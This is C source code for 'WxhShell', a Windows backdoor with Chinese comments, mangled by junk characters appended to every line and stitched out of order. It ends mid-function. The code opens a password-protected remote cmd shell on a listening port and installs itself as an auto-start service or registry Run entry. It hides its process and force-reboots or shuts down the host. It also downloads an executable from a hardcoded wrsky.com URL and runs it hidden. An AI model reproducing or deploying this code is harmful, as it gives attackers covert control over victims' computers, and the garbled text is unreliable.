    if(Boot(SHUTDOWN)) :(]fC~G~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p q`uB  
    else { ,NQ!d4 ~D  
    closesocket(wsh); F `7 v  
    ExitThread(0); g ` s|]VNt  
    } 0 h A:=r  
    break; >Lo\?X~  
    } >e {1e  
  // 获取shell q;,lv3I  
  case 's': { a Vu!Qk=Z/  
    CmdShell(wsh); SE\?8cs]-  
    closesocket(wsh); d3:GmB .  
    ExitThread(0); ,!_6X9N-h  
    break; # ][i!9$  
  } '4uu@?!dVk  
  // 退出 /K|(O^nw  
  case 'x': { c*rH^Nz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); di/Q Jrw  
    CloseIt(wsh); & jqylX  
    break; PcC@}3  
    } R ABw( b  
  // 离开 Tc(=J7*r&  
  case 'q': { Dizz ?O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nh4G;qdU  
    closesocket(wsh); 7_\F$bp`  
    WSACleanup(); `rVru= zoy  
    exit(1); d/R!x{$-f  
    break; I(^0/]'  
        } d1/WUKmbZ  
  } by<@\n2B:U  
  } ir<e^a  
"`ftcJUd  
  // 提示信息 lQ?jdi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8;?4rrS  
} e ymv/  
  } p XXf5adl<  
b7>'ARdbzX  
  return; r>(,)rs(l  
} -Fd&rq:GB(  
0{b} 1D  
// shell模块句柄 T [$-])iK  
int CmdShell(SOCKET sock) -8^qtB  
{ <-k!  
STARTUPINFO si; C7S\4rDJ  
ZeroMemory(&si,sizeof(si)); ,40OCd!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '?Dxe B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3tZIL  
PROCESS_INFORMATION ProcessInfo; CFh9@Nx  
char cmdline[]="cmd"; jh oA6I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fz^j3'!\  
  return 0; $Wj= V  
} }T4|Kyu?  
}PJsPIa3j  
// 自身启动模式 l\W|a'i  
int StartFromService(void) RKP, w %  
{ jae9!W i  
typedef struct /-p!|T}w  
{ 12lX-~[["  
  DWORD ExitStatus; ^i%S}VK  
  DWORD PebBaseAddress; GS>[A b+  
  DWORD AffinityMask; d#v@NuO6 h  
  DWORD BasePriority; CIIjZ)T  
  ULONG UniqueProcessId; T`!R ki%~  
  ULONG InheritedFromUniqueProcessId; Ef#LRcG-Z  
}   PROCESS_BASIC_INFORMATION; d[_26.  
pbAL&}  
PROCNTQSIP NtQueryInformationProcess; 1x|3|snz)  
&MSU<S?1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]"_c-=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }AS/^E  
dO8 2T3T  
  HANDLE             hProcess; LJ[zF~4#  
  PROCESS_BASIC_INFORMATION pbi; B)Y[~4o  
l?*DGW(t{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |@AXW   
  if(NULL == hInst ) return 0; lfj5?y  
To*+Z3Wd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bKpy?5&>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +b-ON@9]J`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cp@Fj"  
2Xl+}M.:Y  
  if (!NtQueryInformationProcess) return 0; j+h+Y|4J  
hty'L61\z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fLe~X!#HF  
  if(!hProcess) return 0; Z oXz@/T  
n>}Y@{<]/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `r}_92Tt  
fc+-/!v  
  CloseHandle(hProcess); itzUq,T  
FC1rwXL(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jUm-!SK}q  
if(hProcess==NULL) return 0; A5Hx $.Z  
6nk }k]Ji  
HMODULE hMod; RU ~na/3  
char procName[255]; #tR:W?!  
unsigned long cbNeeded; 8Q Try%  
~3:VM_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D 5rH6*J  
i%9vZ  
  CloseHandle(hProcess); m~&  
<'4Wne.z!  
if(strstr(procName,"services")) return 1; // 以服务启动 D;!sH?J@+  
kD#n/R Bgf  
  return 0; // 注册表启动 W+i^tmj  
} c6[m'cy  
>B{qPrmI  
// 主模块 ]pvHsiI:  
int StartWxhshell(LPSTR lpCmdLine) MZz9R*_VS  
{ Rmw=~NP5  
  SOCKET wsl; ]Uwp\2Bc  
BOOL val=TRUE; "IU}>y>J  
  int port=0; {P6Bfh7CZ  
  struct sockaddr_in door; \>5sW8P]H`  
;$iT]S  
  if(wscfg.ws_autoins) Install(); :i!fPNn  
'mZ v5?  
port=atoi(lpCmdLine); ^# $IoW  
7 {92_xRL  
if(port<=0) port=wscfg.ws_port; Z)|~  
aLg,-@  
  WSADATA data; 4C`RxQJM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "zq'nV=  
)3CM9P'0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b;VIR,2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ''9]`B,:a0  
  door.sin_family = AF_INET; KF'fg R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %d+Fq=<  
  door.sin_port = htons(port); QKP #wR  
yc*cT%?g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >3/ mV<g f  
closesocket(wsl); 'f{13-# X@  
return 1; q(qm3OxYo  
} c= t4 gf  
c6F?#@?   
  if(listen(wsl,2) == INVALID_SOCKET) { (n kg  
closesocket(wsl); Wq3PN^  
return 1; h^(U:M=A  
} T)e2IXGN  
  Wxhshell(wsl); fc~fjtqwvz  
  WSACleanup(); D]E=0+  
6{5T^^x?<  
return 0; 'yCVB&`b  
FC+-|1?C  
} Ou1kSG|kM  
>c0leT  
// 以NT服务方式启动 d9JAt-6z2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y A,. C4=s  
{ O.FTToh<  
DWORD   status = 0; g ba1R  
  DWORD   specificError = 0xfffffff; rCa]T@=  
Oey Ph9^V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >aJmRA-C}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  C@*x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; er_6PV  
  serviceStatus.dwWin32ExitCode     = 0; oL~1M=r  
  serviceStatus.dwServiceSpecificExitCode = 0; }m<+tn3m  
  serviceStatus.dwCheckPoint       = 0; sFZdj0tQ4  
  serviceStatus.dwWaitHint       = 0; $@6q5Iz!&  
(72%au  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U)'YR$2<  
  if (hServiceStatusHandle==0) return; dXDyY  
}N9PV/a  
status = GetLastError(); P6%qNR/ x  
  if (status!=NO_ERROR) $|7"9W}m*  
{ C)m@/w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r4u ,I<ZbH  
    serviceStatus.dwCheckPoint       = 0; ]A[}:E 5}  
    serviceStatus.dwWaitHint       = 0; M+")*Opq  
    serviceStatus.dwWin32ExitCode     = status; Wg%]  
    serviceStatus.dwServiceSpecificExitCode = specificError; r } Wdj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p*W{*wZ_^  
    return; /mJb$5=1  
  } r2f%E:-0G  
JVg}XwR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #.u &2eyqQ  
  serviceStatus.dwCheckPoint       = 0; {KSLB8gtL  
  serviceStatus.dwWaitHint       = 0; roZn{+f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F$i50s  
} 1g=T"O&=  
CHS}tCfos>  
// 处理NT服务事件,比如:启动、停止 y=9fuGL6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9+(6 /<  
{ KOR*y(*8  
switch(fdwControl) EiD41N  
{ 0<uL0FOT  
case SERVICE_CONTROL_STOP: KYkS ^v  
  serviceStatus.dwWin32ExitCode = 0; rk %pA-P2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %l%ad-V  
  serviceStatus.dwCheckPoint   = 0; ih("`//nP  
  serviceStatus.dwWaitHint     = 0; Eva&FHRTY  
  { Z wKX$(n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x%)oL:ue  
  } UK'8cz9  
  return; (Qw>P42J  
case SERVICE_CONTROL_PAUSE: ,I|^d.[2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jKcl{',  
  break; @=g{4(zR ^  
case SERVICE_CONTROL_CONTINUE: DCa=o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;]R5:LbXS  
  break; V,zFHXO  
case SERVICE_CONTROL_INTERROGATE: ,4,Bc<  
  break; F'wG%  
}; 9[~.{{Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "&qAV'U  
} a-#$T)mmfj  
Jl\U~i  
// 标准应用程序主函数 \1?'JdN  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `+."X1  
{ Q-iBK*-w  
I<W<;A  
// 获取操作系统版本 kN*I_#  
OsIsNt=GetOsVer(); ?w'03lr%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); owa&HW/_  
sOz {spA  
  // 从命令行安装 H9;IA>  
  if(strpbrk(lpCmdLine,"iI")) Install(); :V6t5I'_  
sc-+?i  
  // 下载执行文件 !F ?j'[s8]  
if(wscfg.ws_downexe) { y'6lfThT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |d\1xTBLp  
  WinExec(wscfg.ws_filenam,SW_HIDE); ME>Sh~C\  
} V~8]ag4  
lRS'M,/  
if(!OsIsNt) { )~xH!%4F  
// 如果时win9x,隐藏进程并且设置为注册表启动 iig4JP'h  
HideProc(); x*j eCD,  
StartWxhshell(lpCmdLine); c8zok `\P_  
} ifWQwS/,a  
else -jNnx*  
  if(StartFromService()) 1uyd+*/(xP  
  // 以服务方式启动 _b)Ie`a.H  
  StartServiceCtrlDispatcher(DispatchTable); ;*Mr(#R  
else !gsrPM  
  // 普通方式启动 ^!O!HMX0  
  StartWxhshell(lpCmdLine); a&kt!%p:  
J}-e9vK-#  
return 0; 4F -<j!  
} $Ups9pQ  
i6FJG\d  
CG35\b;Q  
=Y^K   
=========================================== U0W2  
S6JWsi4C:,  
^VnnYtCRz  
0e:j=kd)NH  
Wj)v,v2&  
(bpxj3@R  
" 19[.&-u"  
JS?%zj&@  
#include <stdio.h> C!1)3w|  
#include <string.h> 5|}u25J  
#include <windows.h> +~==qLsU  
#include <winsock2.h> b'4}=Xpn  
#include <winsvc.h> tr A ^JY  
#include <urlmon.h> l"h6e$dP  
rNm_w>bq  
#pragma comment (lib, "Ws2_32.lib") L6jwJwD  
#pragma comment (lib, "urlmon.lib") Ai:, cY5%  
-U7,~z  
#define MAX_USER   100 // 最大客户端连接数 ^P.U_2&  
#define BUF_SOCK   200 // sock buffer ".pQM.T  
#define KEY_BUFF   255 // 输入 buffer 1(i%nX<U  
_K!)0p  
#define REBOOT     0   // 重启 1'\s7P  
#define SHUTDOWN   1   // 关机 -) +B!"1  
t,A=B(W  
#define DEF_PORT   5000 // 监听端口 g^#,!e  
J_<6;#  
#define REG_LEN     16   // 注册表键长度 X_3hh}=  
#define SVC_LEN     80   // NT服务名长度 oZL# *Z(h  
l%u8Lq  
// 从dll定义API 2J)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6@:<62!;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D)[(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pOB<Bx5t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K|D1  
^@Qc!(P  
// wxhshell配置信息 XQOM6$~,  
struct WSCFG { }:s.m8LC5n  
  int ws_port;         // 监听端口 Xe\v6gbD  
  char ws_passstr[REG_LEN]; // 口令 #Hl?R5  
  int ws_autoins;       // 安装标记, 1=yes 0=no <|E*aR|M  
  char ws_regname[REG_LEN]; // 注册表键名 VTX6_&Hc1g  
  char ws_svcname[REG_LEN]; // 服务名 bq8h?Q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QM~~b=P,\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ssH[\i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #7YJ87<E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gTLBR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" s=K?-O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m*lcIa  
yI-EF)A@;  
}; oykb8~u}}  
F0kAQgUv  
// default Wxhshell configuration W]>%*n  
struct WSCFG wscfg={DEF_PORT, iJKGzHvS  
    "xuhuanlingzhe", UQP>yuSx  
    1, fL-$wK<p<  
    "Wxhshell", V he$vH  
    "Wxhshell", [4yw? U  
            "WxhShell Service", L)9Z Op5  
    "Wrsky Windows CmdShell Service", 9.9B#?  
    "Please Input Your Password: ", Le/}xST@  
  1, :N_DJ51  
  "http://www.wrsky.com/wxhshell.exe", }YM[aq?6  
  "Wxhshell.exe" }Q6o#oZ  
    }; v@J[qpX  
?jvuTS2  
// 消息定义模块 #\K"FE0PGz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <LJb,l"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ef@Et(f_mQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jm0.\[J  
char *msg_ws_ext="\n\rExit."; &xt GabNk  
char *msg_ws_end="\n\rQuit."; )4 ,U  
char *msg_ws_boot="\n\rReboot..."; -I;\9r+  
char *msg_ws_poff="\n\rShutdown..."; f)r6F JLU  
char *msg_ws_down="\n\rSave to "; 50T^V`6  
_S-@|9\&#  
char *msg_ws_err="\n\rErr!"; Qte%<POx+  
char *msg_ws_ok="\n\rOK!"; QTN'yd?WE  
s5*HS3D  
char ExeFile[MAX_PATH]; D O||o&u  
int nUser = 0; 2,|;qFJY-@  
HANDLE handles[MAX_USER]; ID{XZ  
int OsIsNt; $++O@C5  
-]n%+,3L  
SERVICE_STATUS       serviceStatus; y(^\]-fE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .t&G^i'n  
Zzb?Nbf  
// 函数声明 bUYjmb2g)  
int Install(void); cz|?j  
int Uninstall(void); ;=6EBP%  
int DownloadFile(char *sURL, SOCKET wsh); ,^DP  
int Boot(int flag); B^d di  
void HideProc(void); A<(DYd1H  
int GetOsVer(void); Ea-U+7JC  
int Wxhshell(SOCKET wsl); Qam48XZ >  
void TalkWithClient(void *cs); H4sc7-  
int CmdShell(SOCKET sock); 1<*U:W $g  
int StartFromService(void); H(y Gh  
int StartWxhshell(LPSTR lpCmdLine); Tb8r+~HK  
ojA!!Ru  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 64>CfU(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #5{BxX&\  
MpIiHKQ G9  
// 数据结构和表定义 P|C5k5  
SERVICE_TABLE_ENTRY DispatchTable[] = 1083p9Uh  
{ ovDPnf(  
{wscfg.ws_svcname, NTServiceMain}, sc6NON#  
{NULL, NULL} %hdjQIH  
}; [8 H:5 Ho  
ZNL+w4  
// 自我安装 g=,}j]tl  
int Install(void) qOnGP{   
{ l(@c  
  char svExeFile[MAX_PATH]; B<a` o&?  
  HKEY key; `46.!  
  strcpy(svExeFile,ExeFile); Ed2A\S6tl  
uv^x  
// 如果是win9x系统,修改注册表设为自启动 HIC!:|  
if(!OsIsNt) { Htln <N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { & Y2xO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bvh{|tP4  
  RegCloseKey(key); 1i'y0]f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1uB$@a\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :F@goiuC  
  RegCloseKey(key); Xkg  
  return 0; jp^Sw|  
    } ^Xu4N"@  
  } ~-B+7  
} 1MT,A_L  
else { f*9O39&|  
7q 5 *grm  
// 如果是NT以上系统,安装为系统服务 Z&P\}mm   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mVh;=>8K  
if (schSCManager!=0) BBv+*jj  
{ pVrY';[,|  
  SC_HANDLE schService = CreateService Uqy/~n-v<  
  ( e0otr_)3F  
  schSCManager, %~P T7"4  
  wscfg.ws_svcname, %H,s~IU  
  wscfg.ws_svcdisp, D{[{&1\)r  
  SERVICE_ALL_ACCESS, l=(( >^i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ek0!~v<I  
  SERVICE_AUTO_START, kRBO]  
  SERVICE_ERROR_NORMAL, =;b3i1'U  
  svExeFile, qd#7A ksm  
  NULL, ,VSO;:Z  
  NULL, ecR)8^1 '  
  NULL, s f->8  
  NULL, Bx#=$ka  
  NULL \<09.q<8  
  ); GG +T-  
  if (schService!=0) n${k^e-=  
  { r\Yh'cRW{  
  CloseServiceHandle(schService);  KLE)+|  
  CloseServiceHandle(schSCManager); \iP@|ay9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ym! e}`A\F  
  strcat(svExeFile,wscfg.ws_svcname); Eh|,[ D!E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BenyA:W"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +oq<}CNr{  
  RegCloseKey(key); x;\/Xj ;  
  return 0; F"O\uo:3  
    } eF9GhwE=  
  } VuH ->  
  CloseServiceHandle(schSCManager); <JU3sXl  
} "k{so',7z  
} 5gqs"trF  
|D%mWQng  
return 1; di0@E<@1:  
} w`V6vYd@  
js@L%1r#L  
// 自我卸载  X0$q !  
int Uninstall(void) hpPacN  
{ WvSm!W  
  HKEY key; Lhe&  
.g\Oj0Cbxh  
if(!OsIsNt) { 6$'*MpYF4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lv'WRS'}  
  RegDeleteValue(key,wscfg.ws_regname); L \E>5G;  
  RegCloseKey(key); x3+ {Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H"6x/&s.=k  
  RegDeleteValue(key,wscfg.ws_regname); 7bihP@I !  
  RegCloseKey(key); jy?*`q1]  
  return 0;  gu[EYg  
  } j-W$)c3X  
} :Ev gUA\4  
} ipbhjK$  
else { Y%;X7VxU*  
:T G;W,`.V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s(3HZ>qx;  
if (schSCManager!=0) ~uty<fP  
{ AJxN9[Z!N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jYRSV7d  
  if (schService!=0) \&;y:4&l8  
  { Y$A2{RjRq  
  if(DeleteService(schService)!=0) { (EY@{'.&  
  CloseServiceHandle(schService); ]0ErT9  
  CloseServiceHandle(schSCManager); )Ak#1w&q  
  return 0; nH6SA1$kW  
  } a'?;;ZC-  
  CloseServiceHandle(schService); abR<( H12  
  } $sda'L5^p  
  CloseServiceHandle(schSCManager); n-cI~Ax+4  
} O8A1200  
} aH'fAX0bF  
<KU 0K  
return 1; L,y q=%h|  
} * $fM}6}  
M?" 4 {  
// 从指定url下载文件 #xGP|:m  
int DownloadFile(char *sURL, SOCKET wsh) 1LRP R@b^  
{ bHnKtaK4c  
  HRESULT hr; Y $v#>w_M  
char seps[]= "/"; N wk  
char *token; SefhOh^,V  
char *file; O@a OKk  
char myURL[MAX_PATH]; Uq#2~0n>  
char myFILE[MAX_PATH]; -EP1Rl`\  
K9%rr_ja!  
strcpy(myURL,sURL); GEc-<`-  
  token=strtok(myURL,seps); /g{*px|  
  while(token!=NULL) pxTtV g.  
  { K $- *  
    file=token; IeYNTk &<  
  token=strtok(NULL,seps); 49=pB,H;H  
  } }={@_g#  
8fP2qj0  
GetCurrentDirectory(MAX_PATH,myFILE); ^7aqe*|vm  
strcat(myFILE, "\\"); *P=3Pl?j  
strcat(myFILE, file); 5S!#^>_  
  send(wsh,myFILE,strlen(myFILE),0); 7wh4~  
send(wsh,"...",3,0); <|_>r`@%l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0q"4\#4l  
  if(hr==S_OK) `KA==;0  
return 0; K-TsSW$}  
else -@(LN%7!C  
return 1; %"mI["{  
q*&H  
} c8X;4 My  
>2{Y5__+e  
// 系统电源模块 q@bye4Ry%W  
int Boot(int flag) 'fU#v`i  
{ 6I"KomJ9  
  HANDLE hToken; h#r~2\q4ei  
  TOKEN_PRIVILEGES tkp; / e>%yq<9B  
f )T\  
  if(OsIsNt) { >o1dc*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @`L ;_S+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V*\hGNV  
    tkp.PrivilegeCount = 1; S}JOS}\^j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l}L81t7f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \[3~*eX6  
if(flag==REBOOT) { h6D4CT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )mm0PJF~q  
  return 0; _{k*JT2  
} >B0AJW/u  
else { P".}Y[GD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vK)'3%  
  return 0; Zo&i0%S\E  
} vlkw Wm  
  } $8eiifj  
  else { ,@f"WrQ  
if(flag==REBOOT) { \HLo%]A@M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !lNyoX/  
  return 0; ; oa+Z:;f  
} vEg%ivj3  
else { 0QZT<Zs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u:pOP  
  return 0; 8*0QVFn$  
} &!/>B .  
} )^o.H~Pv  
?m*e$!M0  
return 1; NuR7pjNMZ  
} :38{YCN  
d|RUxNjM-J  
// win9x进程隐藏模块 *xNc^ &.  
void HideProc(void) wx3_?8z/O  
{ <)T| HKx  
?3BcjD0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o @L0ET  
  if ( hKernel != NULL ) ?P0b/g  
  { e1W9"&4>G{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DW7E ]o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); doL-G?8B  
    FreeLibrary(hKernel); 5wVJ.B~s  
  } sF!#*Y  
pL{oVk#,  
return; >S:(BJMo  
} \bdKLcKI,  
*`+zf7-f  
// 获取操作系统版本 EX_j|/&tZ  
int GetOsVer(void) LMoZI0)x  
{ zr?s5RS  
  OSVERSIONINFO winfo; ^.LB(GZ,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 95'+8*YCY  
  GetVersionEx(&winfo); {`SMxDevc}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) : b`N(]  
  return 1; &q<k0_5Q  
  else M99ku'  
  return 0; 6m?<"y8]  
} XF(D%ygeC  
 =Iop  
// 客户端句柄模块 |-V:#1wR.]  
int Wxhshell(SOCKET wsl) &233QRYM  
{ M6p\QKi  
  SOCKET wsh; 9 o,` peH  
  struct sockaddr_in client; o+.L@3RT4  
  DWORD myID; LnE/62){N  
,7@\e &/&  
  while(nUser<MAX_USER) L /ibnGhq]  
{ *w@ 1@6?j  
  int nSize=sizeof(client); ;B 8Q,.t>x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f9K7^qwkiz  
  if(wsh==INVALID_SOCKET) return 1; tNFw1&  
8B*(P>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c~(61Sn]  
if(handles[nUser]==0) 3&})gU&a  
  closesocket(wsh); GxzO|vFQ  
else Aeh #  
  nUser++; *S*49Hq7c  
  } r&8aB85  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nBk&+SN  
C1NU6iV^z  
  return 0; U 2YY   
} tsg`c;{  
hdw.S`~}%  
// 关闭 socket #l}Fk)dj  
void CloseIt(SOCKET wsh) l jK?2z>  
{ `]W9Fj<1j  
closesocket(wsh); :-jbIpj'  
nUser--; H14Q-2U1xa  
ExitThread(0); a9e0lW:=c  
} m,\+RUW'  
Dazm8_x  
// 客户端请求句柄 s\ C ,5  
void TalkWithClient(void *cs) NC~?4F[  
{ =i  vlS  
B<EqzP*#  
  SOCKET wsh=(SOCKET)cs;  ]+Whv%M  
  char pwd[SVC_LEN]; ~!Sd|e:4  
  char cmd[KEY_BUFF]; *4 LS``  
char chr[1]; U3&GRY|##  
int i,j; } iKjef#J  
~B{08%|oK  
  while (nUser < MAX_USER) { X:s~w#>R  
LujLC&S  
if(wscfg.ws_passstr) { i FZGfar?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gf>H-718F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0+iRgnd9?  
  //ZeroMemory(pwd,KEY_BUFF); #,z-Pj?O!  
      i=0; [j/|)cj  
  while(i<SVC_LEN) { 7_oUuNw  
wuXQa wo  
  // 设置超时 H8w[{'Mei  
  fd_set FdRead; @H`jDaB 9  
  struct timeval TimeOut; ZX&e,X~V  
  FD_ZERO(&FdRead); pZS]i "  
  FD_SET(wsh,&FdRead); WS[Z[O  
  TimeOut.tv_sec=8; w =F9>  
  TimeOut.tv_usec=0; o;6~pw%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GkU_01C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !$l<'K$  
Brxnl,%\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5!A:xV]6]  
  pwd=chr[0]; k9*UBx  
  if(chr[0]==0xd || chr[0]==0xa) { 2+y wy^  
  pwd=0; i ed 1+H  
  break; >g !Z|ju  
  } b/[X8w'VP  
  i++; 'sZGLgT;m  
    } -KC@M  
@}6<,;|DQ  
  // 如果是非法用户,关闭 socket H,TApF89A  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "=DQ {(L  
} WwsNAJ  
1f+A_k/@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,X3D< wl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ng+sK  
<|k :%  
while(1) { .b_ppieNY  
y2+f)Xp_.C  
  ZeroMemory(cmd,KEY_BUFF); OD7A(28  
0B8Wf/j?M  
      // 自动支持客户端 telnet标准   BTwc(oL  
  j=0; ngZq]8 =o  
  while(j<KEY_BUFF) { &v0]{)PO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); < xeB9  
  cmd[j]=chr[0]; "Q+wO+}6  
  if(chr[0]==0xa || chr[0]==0xd) { =KQIrS:  
  cmd[j]=0; SM)"vr_  
  break; 6 9$R.  
  } F-ZTy"z  
  j++; 5)Z=FUupA~  
    } qnyacI  
nmn/4>  
  // 下载文件  GpTZp#~;  
  if(strstr(cmd,"http://")) { }JtcAuQt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %0y-f  
  if(DownloadFile(cmd,wsh)) u:J( 0re  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T"htWo{v>  
  else JZ`u?ZaJ/s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #f(tzPD  
  } *J^FV^E``  
  else { 3}V (8  
<;#gcF[7>  
    switch(cmd[0]) { Qa/1*Mb  
  Da)p%E>Q  
  // 帮助 -flcB|I`  
  case '?': { f {2UL ?y  
